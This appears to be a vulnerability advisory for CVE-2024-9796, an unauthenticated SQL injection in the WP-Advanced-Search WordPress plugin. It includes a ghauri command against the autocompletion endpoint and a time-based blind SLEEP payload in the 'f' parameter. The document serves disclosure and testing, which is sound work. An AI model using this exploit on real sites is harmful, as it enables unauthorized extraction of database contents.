# CVE-2024-9796
**WordPress WP-Advanced-Search <= 3.3.9 - Unauthenticated SQL Injection Vulnerability**

## Description
The **WP-Advanced-Search** plugin for WordPress (versions up to and including 3.3.9) is vulnerable to SQL injection. This vulnerability exists due to insufficient escaping of user-supplied parameters and lack of SQL query preparation. As a result, unauthenticated attackers can inject additional SQL queries into existing ones, potentially extracting sensitive information from the database.

### Vulnerability Details
- **Type**: Plugin
- **CVSS Score**: 7.5 (High)
- **CVE**: CVE-2024-9796
- **Plugin Slug**: wp-advanced-search

### Download Link
[Download WP-Advanced-Search Version 3.3.9](https://downloads.wordpress.org/plugin/wp-advanced-search.3.3.9.zip)

## Proof of Concept (PoC)
An example of exploiting the SQL injection vulnerability using the `autocompletion-PHP5.5.php` endpoint:

```bash
ghauri -u "https://wpscan-vulnerability-test-bench.ddev.site/wp-content/plugins/wp-advanced-search/class.inc/autocompletion/autocompletion-PHP5.5.php?t=wp_autosuggest&f=words&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=19692269759899"
```

### Payload Example
The following payload demonstrates a time-based blind SQL injection using the vulnerable `f` parameter:

```bash
Parameter: f (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (IF - comment)
Payload: t=wp_autosuggest&f=if(now()=sysdate(),SLEEP(9),0)-- wXyW&l=5&type=0&e=utf-8&q=c&limit=5&timestamp=13672261755853
```

  description: |
    The WordPress WP-Advanced-Search plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 3.3.9. 
    This vulnerability is caused by insufficient escaping on user-supplied parameters and a lack of proper preparation of the existing SQL query.
    This makes it possible for unauthenticated attackers to append arbitrary SQL queries to existing queries, potentially leading to the 
    extraction of sensitive information from the database.
